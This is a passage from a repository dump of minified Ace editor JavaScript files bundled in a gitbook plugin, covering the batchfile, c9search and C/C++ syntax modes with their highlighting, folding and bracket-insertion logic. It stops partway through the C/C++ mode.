RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/batchfile\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/batchfile_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./batchfile_highlight_rules\").BatchFileHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"::\",this.blockComment=\"\",this.$id=\"ace/mode/batchfile\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-c9search.js",
    "content": "define(\"ace/mode/c9search_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function o(e,t){try{return new RegExp(e,t)}catch(n){}}var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,u=function(){this.$rules={start:[{tokenNames:[\"c9searchresults.constant.numeric\",\"c9searchresults.text\",\"c9searchresults.text\",\"c9searchresults.keyword\"],regex:\"(^\\\\s+[0-9]+)(:\\\\s)(.+)\",onMatch:function(e,t,n){var r=this.splitRegex.exec(e),i=this.tokenNames,s=[{type:i[0],value:r[1]},{type:i[1],value:r[2]}],o=n[1],u=r[3],a,f=0;if(o&&o.exec){o.lastIndex=0;while(a=o.exec(u)){var l=u.substring(f,a.index);f=o.lastIndex,l&&s.push({type:i[2],value:l});if(a[0])s.push({type:i[3],value:a[0]});else if(!l)break}}return f<u.length&&s.push({type:i[2],value:u.substr(f)}),s}},{token:[\"string\",\"text\"],regex:\"(\\\\S.*)(:$)\"},{regex:\"Searching for .*$\",onMatch:function(e,t,n){var r=e.split(\"\u0001\");if(r.length<3)return\"text\";var s,u,a,f=0,l=[{value:r[f++]+\"'\",type:\"text\"},{value:u=r[f++],type:\"text\"},{value:\"'\"+r[f++],type:\"text\"}];r[2]!==\" in\"&&(a=r[f],l.push({value:\"'\"+r[f++]+\"'\",type:\"text\"},{value:r[f++],type:\"text\"})),l.push({value:\" \"+r[f++]+\" \",type:\"text\"}),r[f+1]?(s=r[f+1],l.push({value:\"(\"+r[f+1]+\")\",type:\"text\"}),f+=1):f-=1;while(f++<r.length)r[f]&&l.push({value:r[f],type:\"text\"});a&&(u=a,s=\"\"),u&&(/regex/.test(s)||(u=i.escapeRegExp(u)),/whole/.test(s)&&(u=\"\\\\b\"+u+\"\\\\b\"));var c=u&&o(\"(\"+u+\")\",/ sensitive/.test(s)?\"g\":\"ig\");return c&&(n[0]=t,n[1]=c),l}},{regex:\"\\\\d+\",token:\"constant.numeric\"}]}};r.inherits(u,s),t.C9SearchHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/folding/c9search\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(){};r.inherits(o,s),function(){this.foldingStartMarker=/^(\\S.*\\:|Searching for.*)$/,this.foldingStopMarker=/^(\\s+|Found.*)$/,this.getFoldWidgetRange=function(e,t,n){var r=e.doc.getAllLines(n),s=r[n],o=/^(Found.*|Searching for.*)$/,u=/^(\\S.*\\:|\\s*)$/,a=o.test(s)?o:u,f=n,l=n;if(this.foldingStartMarker.test(s)){for(var c=n+1,h=e.getLength();c<h;c++)if(a.test(r[c]))break;l=c}else if(this.foldingStopMarker.test(s)){for(var c=n-1;c>=0;c--){s=r[c];if(a.test(s))break}f=c}if(f!=l){var p=s.length;return a===o&&(p=s.search(/\\(Found[^)]+\\)$|$/)),new i(f,p,l,0)}}}.call(o.prototype)}),define(\"ace/mode/c9search\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/c9search_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/folding/c9search\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./c9search_highlight_rules\").C9SearchHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./folding/c9search\").FoldMode,a=function(){this.HighlightRules=s,this.$outdent=new o,this.foldingRules=new u};r.inherits(a,i),function(){this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t);return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/c9search\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-c_cpp.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/c_cpp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.cFunctions=\"\\\\b(?:hypot(?:f|l)?|s(?:scanf|ystem|nprintf|ca(?:nf|lb(?:n(?:f|l)?|ln(?:f|l)?))|i(?:n(?:h(?:f|l)?|f|l)?|gn(?:al|bit))|tr(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?)|error|pbrk|ftime|len|rchr|xfrm)|printf|et(?:jmp|vbuf|locale|buf)|qrt(?:f|l)?|w(?:scanf|printf)|rand)|n(?:e(?:arbyint(?:f|l)?|xt(?:toward(?:f|l)?|after(?:f|l)?))|an(?:f|l)?)|c(?:s(?:in(?:h(?:f|l)?|f|l)?|qrt(?:f|l)?)|cos(?:h(?:f)?|f|l)?|imag(?:f|l)?|t(?:ime|an(?:h(?:f|l)?|f|l)?)|o(?:s(?:h(?:f|l)?|f|l)?|nj(?:f|l)?|pysign(?:f|l)?)|p(?:ow(?:f|l)?|roj(?:f|l)?)|e(?:il(?:f|l)?|xp(?:f|l)?)|l(?:o(?:ck|g(?:f|l)?)|earerr)|a(?:sin(?:h(?:f|l)?|f|l)?|cos(?:h(?:f|l)?|f|l)?|tan(?:h(?:f|l)?|f|l)?|lloc|rg(?:f|l)?|bs(?:f|l)?)|real(?:f|l)?|brt(?:f|l)?)|t(?:ime|o(?:upper|lower)|an(?:h(?:f|l)?|f|l)?|runc(?:f|l)?|gamma(?:f|l)?|mp(?:nam|file))|i(?:s(?:space|n(?:ormal|an)|cntrl|inf|digit|u(?:nordered|pper)|p(?:unct|rint)|finite|w(?:space|c(?:ntrl|type)|digit|upper|p(?:unct|rint)|lower|al(?:num|pha)|graph|xdigit|blank)|l(?:ower|ess(?:equal|greater)?)|al(?:num|pha)|gr(?:eater(?:equal)?|aph)|xdigit|blank)|logb(?:f|l)?|max(?:div|abs))|di(?:v|fftime)|_Exit|unget(?:c|wc)|p(?:ow(?:f|l)?|ut(?:s|c(?:har)?|wc(?:har)?)|error|rintf)|e(?:rf(?:c(?:f|l)?|f|l)?|x(?:it|p(?:2(?:f|l)?|f|l|m1(?:f|l)?)?))|v(?:s(?:scanf|nprintf|canf|printf|w(?:scanf|printf))|printf|f(?:scanf|printf|w(?:scanf|printf))|w(?:scanf|printf)|a_(?:start|copy|end|arg))|qsort|f(?:s(?:canf|e(?:tpos|ek))|close|tell|open|dim(?:f|l)?|p(?:classify|ut(?:s|c|w(?:s|c))|rintf)|e(?:holdexcept|set(?:e(?:nv|xceptflag)|round)|clearexcept|testexcept|of|updateenv|r(?:aiseexcept|ror)|get(?:e(?:nv|xceptflag)|round))|flush|w(?:scanf|ide|printf|rite)|loor(?:f|l)?|abs(?:f|l)?|get(?:s|c|pos|w(?:s|c))|re(?:open|e|ad|xp(?:f|l)?)|m(?:in(?:f|l)?|od(?:f|l)?|a(?:f|l|x(?:f|l)?)?))|l(?:d(?:iv|exp(?:f|l)?)|o(?:ngjmp|cal(?:time|econv)|g(?:1(?:p(?:f|l)?|0(?:f|l)?)|2(?:f|l)?|f|l|b(?:f|l)?)?)|abs|l(?:div|abs|r(?:int(?:f|l)?|ound(?:f|l)?))|r(?:int(?:f|l)?|ound(?:f|l)?)|gamma(?:f|l)?)|w(?:scanf|c(?:s(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?|mbs)|pbrk|ftime|len|r(?:chr|tombs)|xfrm)|to(?:b|mb)|rtomb)|printf|mem(?:set|c(?:hr|py|mp)|move))|a(?:s(?:sert|ctime|in(?:h(?:f|l)?|f|l)?)|cos(?:h(?:f|l)?|f|l)?|t(?:o(?:i|f|l(?:l)?)|exit|an(?:h(?:f|l)?|2(?:f|l)?|f|l)?)|b(?:s|ort))|g(?:et(?:s|c(?:har)?|env|wc(?:har)?)|mtime)|r(?:int(?:f|l)?|ound(?:f|l)?|e(?:name|alloc|wind|m(?:ove|quo(?:f|l)?|ainder(?:f|l)?))|a(?:nd|ise))|b(?:search|towc)|m(?:odf(?:f|l)?|em(?:set|c(?:hr|py|mp)|move)|ktime|alloc|b(?:s(?:init|towcs|rtowcs)|towc|len|r(?:towc|len))))\\\\b\",u=function(){var e=\"break|case|continue|default|do|else|for|goto|if|_Pragma|return|switch|while|catch|operator|try|throw|using\",t=\"asm|__asm__|auto|bool|_Bool|char|_Complex|double|enum|float|_Imaginary|int|long|short|signed|struct|typedef|union|unsigned|void|class|wchar_t|template|char16_t|char32_t\",n=\"const|extern|register|restrict|static|volatile|inline|private|protected|public|friend|explicit|virtual|export|mutable|typename|constexpr|new|delete|alignas|alignof|decltype|noexcept|thread_local\",r=\"and|and_eq|bitand|bitor|compl|not|not_eq|or|or_eq|typeid|xor|xor_eqconst_cast|dynamic_cast|reinterpret_cast|static_cast|sizeof|namespace\",s=\"NULL|true|false|TRUE|FALSE|nullptr\",u=this.$keywords=this.createKeywordMapper({\"keyword.control\":e,\"storage.type\":t,\"storage.modifier\":n,\"keyword.operator\":r,\"variable.language\":\"this\",\"constant.language\":s},\"identifier\"),a=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Zd\\\\$_\\u00a1-\\uffff]*\\\\b\";this.$rules={start:[{token:\"comment\",regex:\"//$\",next:\"start\"},{token:\"comment\",regex:\"//\",next:\"singleLineComment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"keyword\",regex:\"#\\\\s*(?:include|import|pragma|line|define|undef)\\\\b\",next:\"directive\"},{token:\"keyword\",regex:\"#\\\\s*(?:endif|if|ifdef|else|elif|ifndef)\\\\b\"},{token:\"support.function.C99.c\",regex:o},{token:u,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|new|delete|typeof|void)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],singleLineComment:[{token:\"comment\",regex:/\\\\$/,next:\"singleLineComment\"},{token:\"comment\",regex:/$/,next:\"start\"},{defaultToken:\"comment\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{defaultToken:\"string\"}],directive:[{token:\"constant.other.multiline\",regex:/\\\\/},{token:\"constant.other.multiline\",regex:/.*\\\\/},{token:\"constant.other\",regex:\"\\\\s*<.+?>\",next:\"start\"},{token:\"constant.other\",regex:'\\\\s*[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]',next:\"start\"},{token:\"constant.other\",regex:\"\\\\s*['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\",next:\"start\"},{token:\"constant.other\",regex:/[^\\\\\\/]+/,next:\"start\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(u,s),t.c_cppHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/c_cpp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/c_cpp_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./c_cpp_highlight_rules\").c_cppHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\")return\"\";var 